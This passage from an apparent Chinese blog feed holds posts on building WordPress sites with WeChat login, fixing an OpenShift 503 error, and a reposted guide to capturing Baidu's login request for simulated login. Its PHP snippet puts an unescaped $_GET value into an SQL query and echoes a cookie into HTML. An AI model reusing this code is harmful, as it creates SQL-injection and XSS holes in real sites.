<p>然后使用google map的插件 来制作地图展示。</p>
<p>但是google map不靠谱啊，最后觉定使用wp-ueditor，就是百度的开源编辑器。内部集成了百度地图插入，可惜是图片。</p>
<p>不过在移动平台上显示图片似乎更好哈！</p>
<p>微信决定使用 <a href="http://www.we7.cc/" target="_blank" rel="external">微擎  </a>    ，很适合我哈。小九后台上不去，乐享又收费，还是很乐意把所有数据都控制在自己手上的。</p>
<p>然后就差不多都解决了。后面只需要修改wordpress的验证过程，让他能够识别微信的登入方式。</p>
<h1 id="制作过程："><a href="#制作过程：" class="headerlink" title="制作过程："></a>制作过程：</h1><h2 id="WordPress修改过程"><a href="#WordPress修改过程" class="headerlink" title="WordPress修改过程:"></a>WordPress修改过程:</h2><ol>
<li><h3 id="新建一个静态首页"><a href="#新建一个静态首页" class="headerlink" title="新建一个静态首页"></a><span style="line-height: 13px;">新建一个静态首页</span></h3>开始没有注意，导致在手机上显示的还是放大的页面，没有缩放，</li>
</ol>
<p>在网页的&lt;head&gt;中增加如下这段代码，可以让网页的宽度自动适应手机屏幕的宽度。</p>
<p>[html]&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width,height=device-height,inital-scale=1.0,maximum-scale=1.0,user-scalable=no;&quot;&gt;[/html]</p>
<h3 id="2-集成ueditor"><a href="#2-集成ueditor" class="headerlink" title="2.集成ueditor"></a>2.集成ueditor</h3><p>WordPress那个自带的编辑器就不说了，早就想换了，针对英文用户，难用的很。目前百度已经给出了将Ueditor集成到Wordpress的方法和压缩包，免插件替换，自我感觉不会对稳定性造成影响又能体验强大的中文编辑功能。</p>
<p>WordPress中集成UEditor(适用WP3.2.1或以上版)</p>
<p>集成步骤：</p>
<ol>
<li>下载<a href="http://ueditor.baidu.com/download/wp-ueditor.zip" target="_blank" rel="external">wp-ueditor.zip</a>.解压后将ueditor文件夹复制到wp-content/plugins下 。</li>
<li>将general-template.php 覆盖到wp-includes下 （最好先备份之前的文件，不喜欢可以换回来） 。</li>
<li>修改ueditor/editor_config.js里的URL为网站的绝对路径 。<br>最近没事了可以试试，用了演示界面真心觉得太好用了。确实，我们国人开发的编辑器对中文支持肯定更好的。而且比较好的是Ueditor连代码高亮都有，省的插件了。</li>
</ol>
<h3 id="3-安装form-manager插件"><a href="#3-安装form-manager插件" class="headerlink" title="3.安装form manager插件"></a>3.安装form manager插件</h3><p>这个就不用怎么说了，搜索一下，在线安装，使用方法是设置完表单后里面会生成一段代码，比如这个</p>
<p>[contact-form-7 id=”117” title=”form”]</p>
<p>黏贴到文章里面就行了。</p>
<h3 id="4-修改评论"><a href="#4-修改评论" class="headerlink" title="4.修改评论"></a>4.修改评论</h3><h3 id="WordPress主题去除广告"><a href="#WordPress主题去除广告" class="headerlink" title="WordPress主题去除广告"></a>WordPress主题去除广告</h3><p>我修改的这个主题里面还加了判断，电脑上不出广告，手机中再出广告。</p>
<p>一直没有发现，既然发现了就来去掉去。</p>
<p>get_template_part(‘ad’); 是这一句添加了广告。</p>
<p>看一下他的介绍</p>
<p><strong>描述:</strong><br>加载一个制定的模板到另一个模板里面(不同于包含header,sidebar,footer).<br>使得一个主题使用子模板来实现代码段重用变得简单</p>
<p>用于在模板中包含指定的模板文件,只需用指定参数slug和name就可以包含文件{slug}-{name}.php,最重要的功能是如果没有这个文件就包含没有{name}的.php文件文件</p>
<p>简单点就是这个调用，插入了主题目录下的ad.php文件。</p>
<p>把里面的内容给去掉就ok了。</p>
<h3 id="WordPress修改footer"><a href="#WordPress修改footer" class="headerlink" title="WordPress修改footer"></a>WordPress修改footer</h3><p>这个主题很搓，有广告不说，还给footer加密，而且footer.php.php取错名字了。</p>
<p>我们给改成footer.php,然后解密一下。</p>
<p><a href="http://tool.lu/php" target="_blank" rel="external">http://tool.lu/php</a>   解密地址 phpjm.net这个东东加密的。</p>
<p><strong>WordPress中自定义sql语句</strong></p>
<p><code>``global</code> <code>$wpdb``;</code></p>
<p><code>$wpdb-&amp;gt;query(``&#39;query&#39;``); //查询</code></p>
<p><code>$result``= ``$wpdb``-&amp;gt;get_results(``&quot;SELECT * FROM $wpdb-&amp;gt;posts WHERE post_type = &#39;question&#39;&quot;``);   //返回的是一个对象array，取值方式  $result[0]-&amp;gt;id;</code></p>
<p>用这几句就够了，具体的可以看这里 <a href="http://www.favortt.com/wordpress-sql-analysis-query.html" target="_blank" rel="external">http://www.favortt.com/wordpress-sql-analysis-query.html</a></p>
<p><strong>WordPress中如何设置Cookies</strong></p>
<p>1.在主题文件functions.php中添加以下代码，以设置cookie</p>
<p>[php]</p>
<p>/**</p>
<ul>
<li><p>函数名称，setcookie,自定义cookie，为了保存微信的openid<br>*/<br>function set_openid_cookie() {<br>if (!isset($_COOKIE[‘openid’])) {<br>global $wpdb;<br>$openid = $_GET[‘openid’];</p>
<p>$result = $wpdb-&gt;get_results(&quot;select * from wx_user where openid = $openid&quot;);<br>//var_dump($result);<br>$name = $result[0]-&gt;nickname;<br>$email = $result[0]-&gt;email;<br>$grav_url = $result[0]-&gt;gravatar;</p>
<p>setcookie(‘openid’, $openid, time()+1209600, COOKIEPATH, COOKIE_DOMAIN, false);<br>setcookie(‘name’, $name, time()+1209600, COOKIEPATH, COOKIE_DOMAIN, false);<br>setcookie(‘email’, $email, time()+1209600, COOKIEPATH, COOKIE_DOMAIN, false);<br>setcookie(‘grav_url’, $grav_url, time()+1209600, COOKIEPATH, COOKIE_DOMAIN, false);<br>}<br>}<br>add_action( ‘init’, ‘set_openid_cookie’);</p>
</li>
</ul>
<p>[/]</p>
<p>init 就是初始化中执行了的，不需要再次调用。</p>
<p>2、然后在需要调用cookie值的地方读取cookie</p>
<p>[php]</p>
<p>if (&lt;a href=&quot;<a href="http://www.php.net/isset&quot;&gt;isset&lt;/a&gt;($_COOKIE[&#39;sitename_newvisitor" target="_blank" rel="external">http://www.php.net/isset&quot;&gt;isset&lt;/a&gt;($_COOKIE[&#39;sitename_newvisitor</a>‘])) {<br> echo ‘Welcome back!’;<br> }<br> else {<br> echo ‘Hello new visitor!’;<br> }</p>
<p>[/]</p>
<p>&lt;strong&gt;Wordpress中修改评论头像和作者信息&lt;/strong&gt;</p>
<p>首先打开 comments.php，在头部加入</p>
<p>[php]</p>
<p>$openid = $_COOKIE[‘openid’];<br> $name = $_COOKIE[‘name’];<br> $email = $_COOKIE[‘email’];</p>
<p>[/php]</p>
<p>这3据代码，读取的是我们前面保存的信息</p>
<p>然后找到comment-form-author 这一段，把里面的value修改成$name 和$email，$url去掉了,微信不需要</p>
<p>[php]</p>
<p>&lt;p class=&quot;comment-form-author&quot;&gt;<br> &lt;input id=&quot;author&quot; name=&quot;author&quot; type=&quot;text&quot; value=&quot;&lt;?php echo $name; ?&gt;&quot; size=&quot;30&quot; placeholder=&quot;&lt;?php _e(‘Name’, ‘zipe’); ?&gt;(*)&quot; required&gt;</p>
<p> &lt;/p&gt;<br> &lt;p class=&quot;comment-form-email&quot;&gt;<br> &lt;input id=&quot;email&quot; name=&quot;email&quot; type=&quot;email&quot; value=&quot;&lt;?php echo $email; ?&gt;&quot; size=&quot;30&quot; placeholder=&quot;&lt;?php _e(‘Email’, ‘zipe’); ?&gt;(*)&quot; required&gt;</p>
<p> &lt;/p&gt;</p>
<p>[php]</p>
<p>由于我们头像是要微信的，所以也要修改掉</p>
<p>打开主题目录下的functions.php</p>
<p>搜索get_avatar</p>
<p>然后替换这个函数为</p>
<p>[php]</p>
<p>&lt;?php</p>
<p> //echo get_avatar( $comment, 36 );<br> $grav_url = $_COOKIE[‘grav_url’];<br> echo &quot;&lt;img src=’$grav_url’/&gt;&quot;;<br> ?&gt;</p>
<p>[/php]</p>
<p>OK,现在我们的用户访问后，如果评论的话，会自动显示他的个人微信信息和头像。</p>
<p>不过要注意，我们微信生成的访问网址需要在首页带一个？openid的参数</p>
<p>例如<a href="http://127.0.0.1/?openid=xxxxxxx" target="_blank" rel="external">http://127.0.0.1/?openid=xxxxxxx</a>  ,这个样子，同时这个xxxxxxx需要已经进行绑定了才行。</p>
<p>不过我们会要求用户优先进行绑定的。</p>
<h3 id="5-集成微信"><a href="#5-集成微信" class="headerlink" title="5.集成微信"></a>5.集成微信</h3>]]></content>
    <summary type="html">
    <![CDATA[<p>需要使用微信制作一个旅游网站导航，所以这里介绍一下使用wordpress搭建整个网站的过程。</p>
<h1 id="需求："><a href="#需求：" class="headerlink" title="需求："></a>需求：</h1><p>1.网页中要加入预定功能]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="网站" scheme="http://doubles.me/tags/%E7%BD%91%E7%AB%99/"/>
    
      <category term="微信公众平台" scheme="http://doubles.me/tags/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%B9%B3%E5%8F%B0/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[OpenShift空间服务器503错误解决办法]]></title>
    <link href="http://doubles.me/2013/07/07/759/"/>
    <id>http://doubles.me/2013/07/07/759/</id>
    <published>2013-07-07T11:30:32.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>OpenShift空间经常性的进行升级和例行的维护，短的时候1~2小时即可完成维护，有时甚至长达十几个小时都出现“503 Service Temporarily Unavailable”。那可能是httpd服务没有启动导致503错误。(httpd是Apache超文本传输协议(HTTP)服务器的主程序，被设计为一个独立运行的后台进程，它会建立一个处理请求的子进程或线程的池。)<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/07/143032B00.gif" alt=""></p>
<h4 id="OpenShift空间503服务器错误解决"><a href="#OpenShift空间503服务器错误解决" class="headerlink" title="OpenShift空间503服务器错误解决"></a>OpenShift空间503服务器错误解决</h4><p>&nbsp;</p>
<p>用户可以使用SSH登陆工具putty登陆，输入 “ctl_all start”或”ctl_all restart”启动httpd服务。试着输入”ctl_all restart”命令后重启了所有的服务，网站恢复即可正常。</p>
<p>&nbsp;</p>
<p><div></div></p>
<p><table></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td></td></p>
<p><pre>1<br>2<br>3<br>4</pre><br></p>
<p><td></td></p>
<p><pre>ctl_all start<br>ctl_all stop<br>ctl_all restart<br>ctl_all status</pre><br><br><br><br><br><br>以上代码依次为1启动、2停止、3重启、4查看应用，出现“503 Service Temporarily Unavailable”一般是执行启动和重启就行了。</p>
<p>关于OpenShift升级进度，你可以关注OpenShift的Twitter “@openshift_ops”或访问OpenShift的Open Issue页面<a href="https://openshift.redhat.com/app/status获得最新消息。" target="_blank" rel="external">https://openshift.redhat.com/app/status获得最新消息。</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>OpenShift空间经常性的进行升级和例行的维护，短的时候1~2小时即可完成维护，有时甚至长达十几个小时都出现“503 Service Temporarily Unavailable”。那可能是httpd服务没有启动导致503错误。(httpd是Apache超文本传输协议]]>
    </summary>
    
      <category term="云" scheme="http://doubles.me/tags/%E4%BA%91/"/>
    
      <category term="网站" scheme="http://doubles.me/tags/%E7%BD%91%E7%AB%99/"/>
    
      <category term="error" scheme="http://doubles.me/tags/error/"/>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[WordPress 如何建立一个展示站点]]></title>
    <link href="http://doubles.me/2013/07/07/749/"/>
    <id>http://doubles.me/2013/07/07/749/</id>
    <published>2013-07-07T10:48:33.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>接了个单，就是建立一个展示站点，可以说是十分简单的，可是我在wordpress中和dedecms中犹豫很久，dedecms功能很强大，比较</p>
<p>适合这种的，最后实在没有找到好的模版，就还是用wordpress了，毕竟熟悉一点，修改方便多了。</p>
<p>首先使用了一个淘宝客主题，由于是制作衣服的，所以这个只需要简单的修改一下。</p>
<p>这个主题可以设置的地方感觉比较麻烦，都要自己写html才行，简单说一下，不然很难上手的。</p>
<p>使用的是这一个淘宝客主题，所以里面广告之类的还是有的，需要手动去除。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707215748.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707215748.png" alt="QQ20130707215748"></a></p>
<p>首先给里面建立一下菜单，左方主题位置对应了分类的规则，一定要自己设置好，可以设置后在主页中查看一下，那个次导航我到现在也不知道是哪里哈哈。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707215811.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707215811.png" alt="QQ20130707215811"></a></p>
<p>看到这个主题的设置是不是懵了，我看到就头大，这是什么玩意啊，不过还好，他提供了一个默认代码包，找到对应的名字复制过去就行了。不过这样真的很麻烦。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707220110.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707220110.png" alt="QQ20130707220110"></a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707220131.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707220131.png" alt="QQ20130707220131"></a></p>
<p>这一个一般人还真看不懂，上下是对应的，上面是分类id，下面是显示名称，不过我觉得太长了，去掉了一些，所以后面的设置就没有用了。第3排确实不知道用处。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707220231.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707220231.png" alt="QQ20130707220231"></a></p>
<p>这个是我为他安装的插件，都是必须的是不。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707220258.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/QQ20130707220258.png" alt="QQ20130707220258"></a></p>
<p>代码还是进行修改了的，他代码风格不是一般的shit。。。。最后来看一下网站效果。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/xuezi.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/xuezi.png" alt="xuezi"></a></p>
<p>## </p>
<div><br><br>最后我们恢复一下连接管理器，<br><br>WordPress 3.5 发布的时候，为了更加简洁易用，WordPress 就把一些不太常用的代码从核心代码中取消或者禁用，比如全新安装的 WordPress 博客在后台就没有链接管理器。但是如果你还是有很多朋友，需要交换链接，怎么办呢？WordPress 提供接口：<br>&gt; add_filter( ‘pre_option_link_manager_enabled’, ‘__return_true’ );<br>将上面的代码复制到当前主题的 functions.php 文件即可。<br><br>&nbsp;<br><br>都做完了他要求又变了。不过说真的，难怪网上那么多网站那么丑，在他的指导下我把网站改出了07年的风格。<br><br>而且把要创新，取消文章的概念。就是首页放5个图集。点进去就是指定的图集，然后完了。我去啊，就做个相册。。。。。。<br><br>然后选定了NextGen Gallery，功能比较多，不过还要自己修改主题模版，就是幻灯片的样式不合要求。<br><br>文章或者页面里面的放这个shortcode就行了，不过id为1的图集要创建一个<br><br>[ngg_images gallery_ids=”1”  display_type=”photocrati-nextgen_basic_thumbnails”]<br><br>&nbsp;<br><br>注：<br><br>官网上的示例代码是这样的<br><br>[ ngg_images gallery_ids=”1,3” exclusions=”4,6” display_type=”photocrati-nextgen_basic_thumbnails” ]<br><br>但实际上没有用，要把[   ]这个括号里面的空格去掉2个。然后就可以了。<br><br>&nbsp;<br><br>&nbsp;<br><br>主题下载：<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/07/taobaoke2.3free.rar" target="_blank" rel="external">taobaoke2.3free</a><br><br></div>]]></content>
    <summary type="html">
    <![CDATA[<p>接了个单，就是建立一个展示站点，可以说是十分简单的，可是我在wordpress中和dedecms中犹豫很久，dedecms功能很强大，比较</p>
<p>适合这种的，最后实在没有找到好的模版，就还是用wordpress了，毕竟熟悉一点，修改方便多了。</p>
<p>首先使用]]>
    </summary>
    
      <category term="网站" scheme="http://doubles.me/tags/%E7%BD%91%E7%AB%99/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[sina的开发者认证通过额]]></title>
    <link href="http://doubles.me/2013/06/06/725/"/>
    <id>http://doubles.me/2013/06/06/725/</id>
    <published>2013-06-06T01:41:45.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>原本是想等证书寄过来再来show一下的，可是rp一向如此啊。</p>
<p>&nbsp;</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/06/QQ201306061239161.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/06/QQ201306061239161.png" alt="QQ20130606123916"></a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/06/QQ20130606123955.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/06/QQ20130606123955.png" alt="QQ20130606123955"></a></p>
<p>欢迎访问tuzhong.sinaapp.com。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>原本是想等证书寄过来再来show一下的，可是rp一向如此啊。</p>
<p>&nbsp;</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/06/QQ201306061239161.png" target=]]>
    </summary>
    
      <category term="sae" scheme="http://doubles.me/tags/sae/"/>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[【转】模拟登陆网站(百度首页)的内部逻辑过程]]></title>
    <link href="http://doubles.me/2013/05/30/665/"/>
    <id>http://doubles.me/2013/05/30/665/</id>
    <published>2013-05-30T04:42:20.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>很少转贴的，转的都是比较有价值的</p>
<p><strong>1、准备好工具并配置好工具</strong></p>
<p>打开IE9，打开百度首页（<a href="http://www.baidu.com/" target="_blank" rel="external">www.baidu.com</a>），然后按F12，调出F12开发人员工具，再切换到Network界面：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125423-f4f5091a10dd4edabdbca84212714e17.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125424-736a1d6c71ed45edb3860e8b5d909782.png" alt="image" title="image"></a></p>
<p>在调试之前，先去做一些配置上的准备工作：</p>
<p>（1）设置网页跳转时，已抓取的数据不被清除掉：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125424-ad7c82d8fa094c9fb04e1ae7c0634f19.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125425-ba782657c8ce406c97ed1a82b4ff020d.png" alt="image" title="image"></a></p>
<p>取消控制台和网络前面的对号，这样在网页分析过程中，由于从一个页面跳转到另外一个页面，所抓取的到内容，就不会被清空掉了。</p>
<p>（2）清除旧的cookie和缓存</p>
<p>为了后续的调试，不被之前的已登陆的账户的（缓存和cookie等）信息所影响，所以去都清除掉：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125425-bfe8d991141745debfffdfc16637aafb.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125426-177c83b0ba5c44619a61a7c94129daae.png" alt="image" title="image"></a></p>
<p>其中，简单解释一下：</p>
<p>A. 2个和清除cookie有关的：</p>
<p>缓存-&gt;清除会话 Cookie(S):清除当前会话，即访问当前这么一堆网页所涉及的cookie</p>
<p>缓存-&gt;清除域的 Cookie(O):清楚和当前网页所属的domain，此处为和baidu.com相关的cookie</p>
<p>B. 2个和缓存cache（即缓存的网页）有关的：</p>
<p>为了清除的更彻底，也顺带把cache都清理了</p>
<p><strong>2、模拟操作过程，利用工具抓取所需的整个过程</strong></p>
<p>点击“登陆”：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125426-d98fcd3cbd3143bca92c606f3850cac5.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125427-e696fe53cd724384bc882b5e9708128c.png" alt="image" title="image"></a><br>可以看到，除了网页中跳出你所熟悉的登陆对话框之外，F12调试窗口中，就已经抓取到很多内容了。</p>
<p>然后输入用户名和密码，正常登陆，就可以看到网页调转到了<a href="http://www.baidu.com/index.php" target="_blank" rel="external">http://www.baidu.com/index.php</a>，并在对应的F12调试窗口中抓取到了很多内容：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125427-36a3fcf9549e44d0b63b49bc5b86870b.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125428-8b048ef4aa4b4606a819ff90c74c1526.png" alt="image" title="image"></a></p>
<p>好了，到此为止，我们的操作，基本就结束了。剩下的，就是从我们所已经抓取到的信息中，找到是如何登陆的。</p>
<p><strong>3、分析网站登陆的内部逻辑过程</strong></p>
<p>1. 找到登陆网站所涉及的最核心的地址</p>
<p>对于熟悉的人，可以直接从那一堆的url中，找到哪个是登陆的页面。而现在假定你不熟悉，教你如何找到真正的有价值的信息。对于此处，我们可以想到的一种办法是，通过直接搜索密码，而搜到哪里发送了我们的密码：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125428-09aeafe5e0e24b6e9eb93f1909d69907.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125429-64c71f1eabf54831b507507d3f834ee6.png" alt="search-pwd-found-login-url_thumb" title="search-pwd-found-login-url_thumb"></a></p>
<p>【小提示：显示内容时，设置为 自动换行】</p>
<p>当抓取出来的Request Body，Response Body等部分的内容中，单行内容太长，一行显示不下，不方便查看时，可以点击右键，选择Word wrap：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125429-677d6027cf884bacb08fcbd11e3d7690.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125430-a5c8f1c07aa641a0858be32a6b6b7502.png" alt="choose-Word-wrap_thumb" title="choose-Word-wrap_thumb"></a></p>
<p>即可实现自动换行显示的效果了，方便查看了：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125430-99e8640e417341db86ceef0993629c9c.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125431-fd8aa9e71e9a4a6aa3572dcce5acca91.png" alt="after-word-wrap_thumb" title="after-word-wrap_thumb"></a></p>
<p>此处，很容易看到，此处和我们密码相关的url地址为<a href="https://passport.baidu.com/v2/api/?login" target="_blank" rel="external">https://passport.baidu.com/v2/api/?login</a>，即以后如果想要写代码的话，所要访问的url地址，就是这个地址了。</p>
<p>2. 分析所提交的数据（post data）中的参数和值</p>
<p>此处的Request Body，就是对应的http的POST请求中所要提交的数据，简称为post data。</p>
<p>此处Request Body中完整的数据为：</p>
<p><div></div></p>
<p><pre>ppui_logintime=6852&amp;charset=utf-8&amp;codestring=&amp;token=5ab690978812b0e7fbbe1bfc267b90b3&amp;isPhone=false&amp;index=0&amp;u=&amp;safeflg=0&amp;staticpage=http%3A%2F%2Fwww.baidu.com%2Fcache%2Fuser%2Fhtml%2Fjump.html&amp;loginType=1&amp;tpl=mn&amp;callback=parent.bdPass.api.login._postCallback&amp;username=crifan&amp;password=xxxxxx&amp;verifycode=&amp;mem_pass=on</pre><br><br>处理后变为：</p>
<p><div></div></p>
<p><pre>ppui_logintime=6852<br>charset=utf-8<br>codestring=<br>token=5ab690978812b0e7fbbe1bfc267b90b3<br>isPhone=false<br>index=0<br>u=<br>safeflg=0<br>staticpage=http%3A%2F%2Fwww.baidu.com%2Fcache%2Fuser%2Fhtml%2Fjump.html<br>loginType=1<br>tpl=mn<br>callback=parent.bdPass.api.login._postCallback<br>username=crifan<br>password=xxxxxx<br>verifycode=<br>mem_pass=on</pre><br><br>很明显，此处就是模拟网站登录的核心数据了，是在写代码时，对于url=<a href="https://passport.baidu.com/v2/api/?login" target="_blank" rel="external">https://passport.baidu.com/v2/api/?login</a>提交POST请求时，所有要发送的一些参数和值了。</p>
<hr>
<p>此处，再重新简要的介绍一下，模拟登陆网站的基本逻辑：</p>
<p>想要模拟网站登陆，就要知道，要向什么url地址，发送什么样的数据，GET请求还是POST请求。</p>
<p>● GET请求只从服务器请求数据，不需要所谓的post data，但是往往需要在url后面添加上对应的?para1=val1&amp;para2=value2之类的形式，此部分叫做query parameter，其本质上，有点类似于post data<br>● POST请求，在发送请求时，还需要提供对应的post data，此处即对应着IE9的F12中的Request Body。而余下的，发送请求时的其他相关参数设置，主要就是设置很多基本的参数，包括user-agent等，此处对应着那个Request Headers</p>
<p>而提交请求后，网站的服务器会给你反馈，返回数据和信息给你。此处对应的就是Response Headers和Response Body。</p>
<p>经常地，其中还涉及到cookie等信息。在发送之前，准备好，发送给服务器，服务器返回的信息中，往往也包含，更新后，cookie的值。</p>
<p>接下来，就是分析，如何获得所需的信息。</p>
<hr>
<p>先分析上述的post data中的值都是怎么来的。分析值是如何来的，以及顺带说说，写代码时，如何设置这些值。</p>
<p>在此之前，先解释一下，在代码中关于如何设置这些参数的值的规律和经验：</p>
<p>（1）对于有参数，但是值为空的哪些参数，一般来说，都是可以省略的。即写代码时，是可以去掉，忽略掉，这些参数的。当然，如果你抓取出来的参数是有值的，则需要考虑其值是怎么得到的，是否有意义，否则随便忽略掉某些参数，可能会导致模拟登陆失败的。</p>
<p>（2）对于看不太懂的参数的值的情况下，不妨先使用抓取出来的数据。尤其是一些参数，看不太懂，而且其值又明显不是那种，很可能会变化的数字之类的值，则一般情况下，也都是固定的值，所以，即使对于参数和值本身不太了解，也无所谓，也都可以直接在代码中，直接使用抓取出来的数据即可。即使会导致出错，一般来说，也可以通过后续的多次抓取和分析，看出来该值真正的规律。</p>
<p>在上面那一堆参数和值中：</p>
<p>（1）一些很明显，是固定的值，不需要考虑太多的值有：</p>
<p>charset=utf-8 -&gt; 表示当前网页的编码是utf-8，我们写代码照着写即可，不需要改；<br>codestring=  -&gt; 此处为空，所以也可以不理会；<br>isPhone=false -&gt; 很明显，此处是通过PC登陆百度的，不是通过手机类的移动设备登陆的，所以是false。所以写代码时，也设置为false即可；</p>
<p>细心的读者，也很容易回想起，此处是对应着之前的登陆界面中的“手机登陆”：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125431-c4d98ee0a0244aca8bd57335e871bad4.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125431-b35bb57e63c34c8f9750d4aebc86eca1.png" alt="phone-login_thumb" title="phone-login_thumb"></a></p>
<p>如果是我们是通过“手机登陆”百度时，不出意外的话，肯定参数是isPhone=true</p>
<p>index=0 -&gt; 未知，但是也没看出来是什么含义，所以也直接设置为0即可；<br>u=-&gt; 空值，同样设置空值即可；<br>safeflg=0 -&gt; 未知，所以也可以暂且不管，同样设置为0即可。<br>username=crifan -&gt; 很明显，是我们的账号，不多解释；<br>password=xxxxxx -&gt; 同理，是对应的密码；<br>verifycode= -&gt;此处为空，所以也可以不管；<br>mem_pass=on -&gt; 很明显，是memory password的所写，即记住密码，对应的页面是，我们已经勾选的”记住我的登陆状态”：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125432-2e2b8f7d3f704217aceb8a619e4bad0c.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125432-0f3a466f44ed4ecbad24b1c46a3abd48.png" alt="remember-my-login-status_thumb" title="remember-my-login-status_thumb"></a></p>
<p>（2）另外一些就是不太容易一眼就看出来的值，需要简单解释一下的：</p>
<p>staticpage=http%3A%2F%2Fwww.baidu.com%2Fcache%2Fuser%2Fhtml%2Fjump.html –&gt;<a href="http://www.baidu.com/cache/user/html/jump.html" target="_blank" rel="external">http://www.baidu.com/cache/user/html/jump.html</a><br>loginType=1 -&gt; 未知，但是一般不知道的值，都可以先按照原先的值去设置即可；<br>tpl=mn -&gt; 未知，也还是同样设置即可；<br>callback=parent.bdPass.api.login._postCallback -&gt; 未知，也同样设置即可；</p>
<p>（3）再剩下的，就是需要去分析调查，才知道为何是这样值的了：</p>
<p>ppui_logintime=6852</p>
<p>此值6852，看起来就像是会变化的。但是到底如何得到的，则需要去分析分析了。</p>
<p>所以就去搜索6852，经过搜索，发现结果只能搜到此单独一处的6852，貌似没办法找到此数据如何得到的。再搜其参数ppui_logintime，然后另外在别的文件中也可以找到2处，其中一处是：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125432-2b7f99a8a36c4194ba001522eaa1b4e0.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125433-080906e1c4394cca90d61c3276317e52.png" alt="search-ppui_logintime_thumb" title="search-ppui_logintime_thumb"></a></p>
<p>很明显，此处是javascript脚本<a href="https://passport.baidu.com/js/pass_api_login.js?v=20121018" target="_blank" rel="external">https://passport.baidu.com/js/pass_api_login.js?v=20121018</a>在其中根据实际情况计算出来的。</p>
<hr>
<p>【小提示：对于参数的处理策略】</p>
<p>对于涉及的很多参数，总的说，有两种策略：</p>
<p>一是，直接忽略此值，暂时不管。因为很多时候，有些参数，至少是这样看起来，不是那么重要的参数（重要的参数，相信我不说你自己也能看出来，是那些username，password之类的参数）。然后就去写程序去模拟了。而真的等到程序运行出错，服务器没有返回你所期望的信息的时候，再回来分析此参数，看看是不是这个参数所导致的。然后再试图去分析其真正的值；</p>
<p>二是，继续分析，甚至调试javascript代码，以便找到此值到底是如何一点点计算出来的。此过程可能会极其繁琐，也可能相对简单。要取决于此值被计算出来所经历的过程的复杂度。</p>
